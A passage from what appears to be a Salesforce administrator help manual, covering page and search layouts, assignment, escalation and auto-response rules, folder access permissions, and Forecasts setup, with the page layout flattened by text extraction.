dashboard. See Refreshing Dashboard Data on page 3257. Tip: When designing home page layouts for your Customer Portal, we recommend adding the following components: Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area component that includes your corporate branding in the wide column.

1336

Customize

Overview of Page Layouts and Field-Level Security

6. 7. 8. 9.

Click Next. Arrange the selected components in the desired columns. Select a component and use the arrow keys to move it. Optionally, click Preview to display the home page layout. Click Save & Assign to save the page layout and assign it to a profile. Initially, all users, including Customer Portal users, are assigned to the Home Page Default layout. For more information, see Assigning Home Tab Page Layouts to Profiles on page 1337.

See Also:
Customizing Home Tab Page Layouts Defining Home Tab Components Setting Up Your Customer Portal

Assigning Home Tab Page Layouts to Profiles


Available in: All Editions

User Permissions Needed To assign home page layouts: Customize Application

Your home page layouts are only visible to users after you assign them to a user profile. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Home > Home Page Layouts. Click Page Layout Assignment. Click Edit Assignment. Choose the appropriate page layout for each profile. Click Save. Tip: Notify users how to customize their dashboard settings on their Home tab by clicking Your Name > Setup > My Personal information > Change My Display and choosing the link for Home. See Customizing Your Display on page 42.

See Also:
Defining Home Tab Components Designing Home Tab Page Layouts Changing Your Home Tab Dashboard

1337

Customize

Overview of Page Layouts and Field-Level Security

Customizing Search Layouts


Available in: All Editions

User Permissions Needed To change search layouts: Customize Application

Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show in each search layout. The settings apply to all users in your organization and Salesforce Customer Portal. Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the custom button, giving it the List Button Display Type. 1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and click Search Layouts. 2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results, lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields. 3. For list view and search results layouts, select the standard or custom buttons you want to display. To hide a standard button on the list view, deselect it. Standard buttons are not available on search result layouts. 4. Move fields between Available Fields and Selected Fields. To customize which fields display in the layout, select one or more fields and click Add or Remove. To sort fields in the layout, select one or more fields in Selected Fields and click Up or Down. To select multiple fields individually, use CTRL+click. To select multiple fields as a group, use SHIFT+click. To customize which items display in the layout, select the item and click Add or Remove. To sort items in the layout, select the item and click Up or Down. Note: When editing a search results layout for an object, you can select the Override the search result column customizations for all users checkbox. If selected, all user column customizations within your organization will be overwritten and set to the organization-wide default settings. 5. Click Save.

See Also:
Managing Page Layouts Customizing a Call Center Directory Overview of Page Layouts and Field-Level Security Field-Level Security Overview Setting Up Your Customer Portal Notes on Search Layouts

1338

Customize

Overview of Page Layouts and Field-Level Security

Notes on Search Layouts


Available in: All Editions

User Permissions Needed To change search layouts: Customize Application

Search layouts dont apply to Salesforce CRM Content. To search for files and Web links in Salesforce CRM Content, see Searching for Content. Search layouts dont apply to campaign members, opportunity teams, or account teams. The search layout doesnt determine which fields are searched for keyword matches. See Search Fields for a list of which fields are searched. You can add up to 10 fields to each search layout. You cant remove unique identifying fields, such as Account Name or Case Number, from the search layouts. These fields must be listed first in the order of fields in the search layout. You can t add long text fields such as Description, Solution Details, or custom long text area fields to search layouts. All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing the search layout. For Enterprise, Unlimited, and Developer Edition organizations, search layouts dont override field-level security. If a field is included in the search layout but hidden for some users via field-level security, those users do not see that field in their search results. For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings. If a field is included in the search layout but hidden in the page layout, that field will be visible in search results. The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when finding duplicate leads. Formula fields are not available in search result layouts. Dont remove the Phone field from any lookup phone dialogs search layout. If you do, users cant use the directory search results to enter a phone number into a SoftPhone dial pad. To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it the List Button Display Type. The custom button will be available in the list view and search result layouts for that object. Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the
Is Person Account field, which displays as the person account icon (

).

You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account Name must be the first column. For more information, see What is a Person Account?.

1339

Rules

Managing Assignment Rules

RULES
Managing Assignment Rules
Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change assignment rules: Customize Application

Create assignment rules to automate your organizations lead generation and support processes. Lead Assignment RulesSpecify how leads are assigned to users or queues as they are created manually, captured from the web, or imported via the lead import wizards. Case Assignment RulesDetermine how cases are assigned to users or put into queues as they are created manually, using Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook, or Lotus Notes.

Typically, your organization will have one rule for each overall purposefor example, one lead assignment rule for importing and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits on page 2182. Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard case assignment rule may have two entries: cases with Type equals Gold are assigned to Gold Service queue, and cases with Type equals Silver are assigned to Silver Service queue. To create an assignment rule, click Your Name > Setup > Customize from the top of any page. Then select Leads or Cases, and click Assignment Rules. Sample Assignment Rule The following case assignment rule assigns a case to a specific queue based on the account rating:
Rule Name Hot Account Assignment Rule Entries:

Order
1 2

Criteria
ISPICKVAL(Account.Rating, "Hot") OR( ISPICKVAL(Account.Rating, "Warm") , ISPICKVAL(Account.Rating, "Cold") )

Assign To
Tier 1 Support Queue Tier 2 Support Queue

1340

Customize

Managing Assignment Rules

For more lead management rule examples, see Examples of Advanced Formula Fields on page 1159.

See Also:
Setting Up Assignment Rules Viewing and Editing Assignment Rules Assigning Cases

Setting Up Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create assignment rules: Customize Application

To create an assignment rule: 1. Choose Your Name > Setup > Customize from the top of any page. 2. Select Leads or Cases, and click Assignment Rules. 3. Choose New, and give the rule a name. Specify whether you want this to be the active rule for leads or cases created manually and via the web and email. Click Save. 4. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that determines how leads or cases are processed. For each entry, you can specify the following: Field
Order

Description Sets the order in which the entry will be processed in the rule, for example, 1, 2, 3. Salesforce evaluates each entry in order and tries to match the criteria of the entry. As soon as a match is found, Salesforce processes the item and stops evaluating the rule entries for that item. If no match is found, the item is reassigned to either the default Web-to-Lead owner, the administrator doing a lead import, or the default case owner.

Criteria

Specifies conditions that the lead or case must match for it to be assigned. Enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set a case filter to Priority equals High if you want

1341

Customize

Managing Assignment Rules

Field

Description case records with the Priority field marked High to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, of up to 255 characters each. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. For example, the formula AND(ISCHANGED( Priority ), ISPICKVAL (Priority, "High") ) triggers a rule that changes the owner of a case when the Priority field is changed to High. For information on using formulas, see Building Formulas on page 1168.

Note that if your condition uses a custom field, the rule entry will automatically be deleted if the custom field is deleted.
User

Specifies the user or queue to which the lead or case will be assigned if it matches the condition. Users specified here cannot be marked inactive and they must have Read permission on leads or cases. Note: You can't revoke the Read permission on leads or cases for users assigned to a rule. If your organization uses divisions, leads are assigned to the default division of the user or queue specified in this field. Cases inherit the division of the contact to which they are related, or are assigned to the default global division if no contact is specified.

Do Not Reassign Owner

Specifies that the current owner on a lead or case will not be reassigned to the lead or case when it is updated. Specifies the template to use for the email that is automatically sent to the new owner. If no template is specified, no email will be sent. When assigning a lead or case to a queue, the notification goes to the Queue Email address specified for the queue and all queue members. Specifies the predefined case team(s) to add to a case when it matches the condition. A case team is a team of users that work together on a case. For example, your case team may include a support rep, support manager, and a product manager. For more information, see Predefining Case Teams on page 3420.

Email Template

Predefined Case Teams

1342

Customize

Managing Assignment Rules

Field

Description Click the Lookup icon ( ) to select a predefined case team to add to the assignment rule. To add more predefined case teams, click Add Row to add a new row with which you can add a predefined case team.

Replace any existing predefined case teams on the case

Specifies that any existing predefined case teams on the case are replaced with the predefined case teams on the condition, when a case matches the condition. For more information, see Predefining Case Teams on page 3420.

After creating the entry, click Save, or Save & New to save the entry and create more entries. Tip: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any leads or cases that the previous rule entries did not assign. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

See Also:
Managing Assignment Rules Viewing and Editing Assignment Rules

Viewing and Editing Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change assignment rules: To view assignment rules: Customize Application View Setup and Configuration

To view and edit assignment rules:

1343

Customize

Creating Escalation Rules

To edit the name of a rule, click Rename next to the rule name. To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum of 3000 entries.

See Also:
Setting Up Assignment Rules Managing Assignment Rules

Creating Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change escalation rules: Customize Application

Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time. Typically, your organization will have one escalation rule that consists of multiple entries which specify exactly how the cases are escalated. For example, your standard case escalation rule could have two entries: cases with Type set to Gold are escalated within two hours, and cases with Type set to Silver are escalated within eight hours. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits on page 2182. For information on debugging escalation rules, see What is a Debug Log? on page 2149.

See Also:
Setting Up Escalation Rules Viewing and Editing Escalation Rules

Setting Up Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create escalation rules: Customize Application

To create an escalation rule:

1344

Customize

Creating Escalation Rules

1. Choose Your Name > Setup > Customize > Cases > Escalation Rules. 2. Choose New, and give the rule a name. Specify whether you want this to be the active escalation rule. Click Save. 3. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that determines how cases are processed. For each entry, you can specify the following: Field
Order

Description Sets the order in which the entry will be processed in the rule, for example, 1, 2, 3. Salesforce evaluates each entry in order and tries to match the criteria of the entry. As soon as a match is found, Salesforce processes the item and stops evaluating the rule entries for that item. If no match is found, the case is simply not escalated.

Criteria

Specifies conditions that the case must match for it to be escalated. You can enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set a case filter to Priority equals High if you want case records with the Priority field marked High to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, of up to 255 characters each. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. For example, the formula AND(ISCHANGED( Priority ), ISPICKVAL (Priority, "High") ) triggers a rule that changes the owner of a case when the Priority field is changed to High.For information on using formulas, see Building Formulas on page 1168.

Note that if your condition uses a custom field, the rule entry will automatically be deleted if the custom field is deleted.
Specify business hours criteria

Specifies how business hours apply to an escalated case: Ignore business hours - Select this field to ignore business hours when escalating a case. Use business hours specified on case - Select this field to use the existing business hours on a case when escalating it. Set business hours - Select this field and click the lookup icon ( ) to select predefined business hours to apply to a case when escalating it.

1345

Customize

Creating Escalation Rules

Field

Description Escalation actions only run during the business hours with which they are associated. For more information, see Setting Business Hours on page 1410.

Specify how escalation times are set

Determines what field applies to your Age Over number of hours. Your Age Over setting can be based on the number of hours since: A case was created The case was created unless it has been modified; once modified, the case will never get escalated The most recent time a case was modified For example, if you choose Based on last modification time of the case and your Age Over setting is 5, cases will get escalated 5 hours after the most recent last modified time and date as long as the case is open.

4. After creating the entry, click Save, or Save & New to save the entry and create more entries. 5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed. Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any cases that the previous rule entries did not assign. 6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of one of the rule entries. 7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over increasing periods of time. For each escalation action, you can specify the following: Field
Age Over

Description Specifies the number of hours after which a case should be escalated if it has not been closed. This time is calculated from the date field set in the Specify how escalation times are set field. No two escalation actions can have the same number in this field. Specifies the user, partner user, or queue to which the case will be assigned if it matches the condition. Users specified here cannot be marked inactive and they must have the Read permission on cases. Note: You can't revoke the Read permission on leads or cases for users assigned to a rule. Note that reassigning an escalated case is optional.

Assign To

1346

Customize

Creating Escalation Rules

Field
Notification Template

Description Specifies the template to use for the email that is automatically sent to the new owner specified in the Assign To field. If no template is specified, no email will be sent. Specifies the user to notify when the case is escalated. Notifying another user is optional. Indicates that the owner of the case is notified when the case is escalated. Specifies the template to use for the notification email that is automatically sent to the Notify user(s). If you choose a user in the Notify field, you must select a template. Specifies additional individuals that you want to notify upon escalation.

Notify this user

Notify Case Owner

Notification Template

Additional Emails

Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule entries. For example, if you have two escalation rule entries that specify: Escalate three hours after creation date if Case Reason equals Crash Escalate four hours after creation date if Case Reason equals Bug

A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more than three hours ago, the case is escalated as soon as possible. Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

See Also:
Creating Escalation Rules Viewing and Editing Escalation Rules Monitoring the Case Escalation Rule Queue

1347

Customize

Setting Up Auto-Response Rules

Viewing and Editing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change escalation rules: Customize Application

To view and edit escalation rules: To edit the name of a rule, click Rename next to the rule name. To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum of 3000 entries.

See Also:
Creating Escalation Rules Setting Up Escalation Rules Monitoring the Case Escalation Rule Queue

Setting Up Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create auto-response rules: Customize Application

An auto-response rule is a set of conditions for sending automatic email responses to lead or case submissions based on the attributes of the submitted record. Applicable leads include those captured through a Web-to-Lead form. Applicable cases include those submitted through a: Self-Service portal Customer Portal Web-to-Case form Email-to-Case message On-Demand Email-to-Case message

You can create as many response rules as you like based on any attribute of the incoming lead or case, but only one rule for leads and one for cases can be active at a time. The email responses are listed in the Activity History related list of the lead or contact and the Email related list on cases.

1348

Customize

Setting Up Auto-Response Rules

Creating Auto-Response Rules To create a Web-to-Lead response rule, click Your Name > Setup > Customize > Leads > Auto-Response Rules. To create a response rule for cases, click Your Name > Setup > Customize > Cases > Auto-Response Rules. On the Auto-Response Rules page: 1. 2. 3. 4. 5. Click New. Enter the rule name. Check the active box to make this rule the only one activated. Click Save. Create rule entries.

Creating Response Rule Entries 1. Click New from the rule detail page. 2. Enter a number to specify the order this entry should be processed. The rule processes entries in this order and stops processing at the first matching entry and then sends the email using the specified email template. If no response rules apply, the rule uses the default template you specify on the Web-to-Case or Web-to-Lead Settings page. Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any leads or cases that the previous rule entries did not. This is especially important for Email-to-Case and On-Demand Email-to-Case which don't have default templates. 3. Enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set a case filter to Priority equals High if you want case records with the Priority field marked High to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, of up to 255 characters each. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. For example, the formula AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected template if the Priority field on a case is set to High and the value of a custom field named Version on the case is less than four. For information on using formulas, see Building Formulas on page 1168.

4. 5. 6. 7. 8.

Enter an email senders name. Enter an email address for the sender. This must be different from the routing address you use for Email-to-Case. Enter a reply-to address. Select an email template. Click Save.

Managing Auto-Response Rules After you've set up your auto-response rules and rule entries: Click Edit to change the rule name. Click New next to the Rule Entries list to create a new rule entry. Each rule can have a maximum of 3000 entries. Click Reorder next to the Rule Entries list to change the order they are processed. Click Edit next to a rule entry to change it. Click Del next to a rule entry to delete it.

1349

Customize

Setting Up Auto-Response Rules

Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits on page 2182. For information on debugging response rules, see What is a Debug Log? on page 2149.

See Also:
Differences Between Auto-Response Rules and Workflow Alerts

Differences Between Auto-Response Rules and Workflow Alerts


Auto-response rules available in: Professional, Enterprise, Unlimited, and Developer Editions Workflow alerts available in: Enterprise, Unlimited, and Developer Editions

Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between workflow alerts and auto-response rules to help you determine which process to use: Type of Process Workflow alerts Designed For Notifications to interested parties. Runs When Sends Email To Number of Emails Sent

A case or lead is created Anyone you choose who Sends as many emails as or edited. is associated to the Case there are matching or Lead object. criteria in the workflow. Contact on a case or the Sends one email based person who submitted on the first rule entry the lead on the Web. criteria it matches in a sequence of rule entries.

Auto-response rules

Initial response to the A case or lead is contact who created a created. case or the person who submitted the lead on the Web.

1350

Customize

Managing Folders

Managing Folders
Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

A folder is a place where you can store reports, dashboards, documents, or email templates. Folders can be public, hidden, or shared, and can be set to read-only or read/write. You control who has access to its contents based on roles, permissions, public groups, and license types. You can make a folder available to your entire organization, or make it private so that only the owner has access. To access document folders, click the Documents tab. See Document Library Overview for information on displaying the Documents tab. To access email template folders, click Your Name > Setup > Communication Templates > Email Templates. To access report folders, click the Reports tab, or to manage all of your organizations report folders, click Your Name > Setup > Customize > Reports. To access dashboard folders, click the Dashboards tab.

To create a new folder, click Create New Folder. To edit a folder, click Edit next to the folder name. Alternatively, select a folder name from the Folder drop-down list and click Edit. Note: You can modify the contents of a folder only if the folder access level is set to Read/Write. Only users with the Manage Public Documents or Manage Public Templates can delete or change a Read Only folder. Regardless of permissions or folder settings, users can't edit any unfiled or personal folders.

Controlling Access to Report Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three different types of report folders: public, hidden, and shared folders. Public Folders The following settings apply to folders with either of the following visibility settings:
This folder is accessible by all users, including portal users This folder is accessible by all users, except for portal users

1351

Customize

Managing Folders

Access Level Read

Permissions to Access Read-Only Folders Any of the following: Run Reports Manage Public Reports View All Data Manage Public Reports Manage Public Reports

Permissions to Access Read/Write Folders Any of the following: Run Reports Manage Public Reports View All Data Create and Customize Reports Manage Public Reports

Write New Modify/Delete

Hidden Folders Access Level Read Write New Modify/Delete Permissions to Access Read-Only Folders View All Data Manage Public Reports Manage Public Reports Permissions to Access Read/Write Folders View All Data Manage Public Reports Manage Public Reports

Shared Folders Access Level Read Permissions to Access Read-Only Folders Any of the following: Run Reports (for shared users) Manage Public Reports View All Data Manage Public Reports Manage Public Reports Permissions to Access Read/Write Folders Any of the following: Run Reports (for shared users) Manage Public Reports (for shared users) View All Data Create and Customize Reports (for shared users) Manage Public Reports

Write New Modify/Delete

Controlling Access to Dashboard Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three different types of dashboard folders: public, hidden, and shared folders. Public Folders The following settings apply to folders with either of the following visibility settings:
This folder is accessible by all users, including portal users This folder is accessible by all users, except for portal users

Access Level Read

Permissions to Access Read-Only Folders Run Reports

Permissions to Access Read/Write Folders Run Reports

1352

Customize

Managing Folders

Access Level Write New

Permissions to Access Read-Only Folders All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards View All Data

Permissions to Access Read/Write Folders Both of the following: Run Reports Manage Dashboards

Modify/Delete

All of the following: Run Reports Manage Dashboards View All Data

Hidden Folders Access Level Read Permissions to Access Read-Only Folders Both of the following: Run Reports View All Data All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards View All Data Permissions to Access Read/Write Folders Both of the following: Run Reports View All Data All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards View All Data

Write New

Modify/Delete

Shared Folders Access Level Read Write New Permissions to Access Read-Only Folders Run Reports All of the following: Run Reports Manage Dashboards View All Data All of the following: Run Reports Manage Dashboards Permissions to Access Read/Write Folders Run Reports Both of the following: Run Reports Manage Dashboards

Modify/Delete

All of the following: Run Reports Manage Dashboards

1353

Customize

Creating and Editing Folders

Access Level

Permissions to Access Read-Only Folders View All Data

Permissions to Access Read/Write Folders View All Data

See Also:
Analytics Overview Creating and Editing Folders Deleting Folders Filing Items in Folders

Creating and Editing Folders


Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

Click Create New Folder or Edit from most pages that list folders. On the Reports tab, click Folder or New Dashboard Folder to create a folder, or click to edit.

and select New Report

1. Enter a Folder Label. The label is used to refer to the folder on user interface pages. 2. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages. 3. Choose a Public Folder Access option. Select read/write if you want users to be able to change the folder contents. A read-only folder can be visible to users but they can't change its contents. 4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document folders. 5. Choose a folder visibility option:
This folder is accessible by all users, including portal users gives folder access to all users

in your organization, including portal users.


This folder is accessible by all users, except for portal users gives folder access to all users

in your organization, but denies access to portal users. This option is only available for report and dashboard folders in organizations with a partner portal or Customer Portal enabled. If you don't have a portal, you won't see it. This folder is hidden from all users makes the folder private.

1354

Customize

Deleting Folders

This folder is accessible only by the following users allows you to grant access to a desired set of

users: a. Choose Public Groups, Roles, Roles and Subordinates, Roles, Internal and Portal Subordinates (if you have portals enabled), Territories, or Territories and Subordinates from the Search drop-down list. The choices vary by Edition and whether your organization has territory management. Note: When you share a folder with a group, managers of the group members have no access to the folder unless those managers are also members of the group. b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and click Find. c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared To list. 6. Click Save. See Managing Folders for the required permissions to create new folders.

See Also:
Deleting Folders Filing Items in Folders Managing Folders

Deleting Folders
Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports from the folder you would like to delete. 1. Click Edit next to the folder name from any page that lists folders. On the Reports tab, click pane. 2. Click Delete or then Delete. then Edit in the Folders

1355

Customize

Filing Items in Folders

3. Click OK to confirm. See Managing Folders for the required permissions to delete a folder.

See Also:
Creating and Editing Folders Filing Items in Folders Managing Folders

Filing Items in Folders


Available in: All Editions except Database.com Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed To create, edit, or delete public document folders: To create, edit, and delete public email template folders: To create, edit, and delete public report folders: To create, edit, and delete public dashboard folders: Manage Public Documents Manage Public Templates Manage Public Reports Manage Dashboards AND View All Data

To move a document, dashboard, report, or email template to a different folder: 1. 2. 3. 4. Select the item to be stored in a folder. Click Edit Properties. Choose another folder. Click Save.

See Managing Folders for the necessary permissions to perform this task. Just like report folders contain reports and email template folders contain email templates, document folders can only contain documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document library. Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be marked as Available for Use.

See Also:
Deleting Folders Filing Items in Folders Managing Folders

1356

Forecasts

Setting Up Forecasts

FORECASTS
Setting Up Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Important: This information applies to the Forecasts product beginning with the Winter 12 release. If you use Customizable Forecasts, see Customizable Forecasting Home. For Forecasts features to function correctly, dont disable the new user interface theme for your organization. Additionally, Territory Management must not be enabled.

If your organization is migrating to Forecasts, see Planning Your Migration from Customizable Forecasting to Forecasts on page 1368. To set up the forecasts feature, you need to: Enable users who need to use forecasts. Set up your forecasts hierarchy to determine how forecasts roll up within your organization and who can view and adjust them. Enable quotas to make this functionality available in your organization. Enable forecasts adjustments for your organization and for specific user profiles to make this functionality available in your organization. Define your forecast range. You can use the default of six months or define a range of up to 12 months in the past or future. Customize your forecast categories if your organization uses specific terminology. Select the fields that appear in the opportunity pane of a forecast page. Set a forecast currency if your organization uses multiple currencies. You can select either your organization's corporate currency or the forecast owner's personal currency. Make sure the Forecasts tab is visible to forecasting users. See Viewing and Editing Tab Settings in Permission Sets and Profiles for information on setting tabs.

See Also:
What's the difference between the Forecasting features? Customizing User Interface Settings

1357

Customize

Defining Forecasts Settings

Defining Forecasts Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application To manage quotas: Customize Application

Important: This information applies to the Forecasts product beginning with the Winter 12 release. If you use Customizable Forecasts, see Customizable Forecasting Home. For Forecasts features to function correctly, dont disable the new user interface theme for your organization. Additionally, Territory Management must not be enabled.

Before you begin, make sure that your organization has the Winter '12 release of forecasting. Starting in Winter '12, Forecasts is enabled for all new organizations. If you're an existing organization using Forecasts (Classic) or Customizable Forecasts and want to use Forecasts, contact your salesforce.com representative. For a more detailed step-by-step explanation of setting up Forecasts and why youd want to enable certain functionality, see Forecasts Administrator's Workbook. 1. Click Your Name > Setup > Customize > Forecasts > Settings. If forecasts is not already enabled, select Enable Forecasts and click Save. 2. Click Edit Forecast settings for your company. 3. Under Forecast Range, use the drop-down lists to select a beginning month and the number of months you want to display. 4. If you need to, customize your Forecast Categories. 5. Select the fields that appear in the opportunity pane of a forecast page. 6. Optionally enable quotas for your organization. 7. Optionally enable forecasts adjustments for your organization and for specific users. 8. If your organization uses multiple currencies, select the currency in which your users will forecast. 9. Click Save. You can always return to the Forecasts Settings page to make adjustments. Now you can enable users who need to use forecasts and set up your forecasts hierarchy to determine how forecasts roll up within your organization, and who can view and adjust them.

See Also:
Setting Up Forecasts Defining Your Organization's Forecast Date Range What's the difference between the Forecasting features?

1358

Customize

Enabling Users for Forecasts

Enabling Users for Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. For each user you want to enable, click Edit. Under General Information, select Allow Forecasting. Click Save.

Enabled users are available in the forecasts hierarchy. You can also enable additional users or disable users you've already enabled when you configure your forecast hierarchy.

See Also:
Setting Up Your Forecast Hierarchy Setting Up Forecasts

Setting Up Your Forecast Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts.

1359

Customize

Enabling Quotas in Forecasts

When you assign a user as a forecast manager, all forecasts and adjustments from the manager's subordinates in the hierarchy roll up into his or her forecasts. It's important to always assign a forecast manager to the top level of the forecast hierarchy. 1. Click Your Name > Setup > Customize > Forecasts > Forecast Hierarchy. Click Expand All to see the roles available in your organization. 2. Click Enable Users and click Add and Remove to move users between the Available Users list and the Enabled Users list. If you previously enabled a user by clicking Your Name > Setup > Manage Users > Users and editing a user page to allow forecasting, the name already appears in the Enabled Users list. 3. If you need to select a forecast manager for each manager role in the hierarchy, click Edit Manager next to the role, then select a name from the Forecast Manager drop-down list. 4. Click Save. If your organization needs to adjust forecasts, enable adjustments next.

See Also:
Enabling Forecasts Adjustments Enabling Users for Forecasts Setting Up Forecasts

Enabling Quotas in Forecasts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Forecasts users: Manage Users AND Customize Application To manage quotas: Customize Application

Note: This information applies to the Forecasts product beginning with the Winter 12 release and not to Customizable Forecasts. A quota is the sales goal assigned to a user on a monthly basis. A managers quota equals the amount the manager and team are expected to generate together. The roll up is done manually by users and managers. Follow these steps to enable quotas for Forecasts in your organization: 1. Click Your Name > Setup > Customize > Forecasts > Settings. 2. Under Quotas, select Show Quotas. 3. Click Save. Quota data must be loaded through the API. Consider using the Data Loader for this task. (You must use API version 25 or later.) For example, you might have a CSV file with column names such as User ID, Quota Amount, Currency Code, and Month [YYYY-MM-DD].

1360

Customize

Enabling Forecasts Adjustments

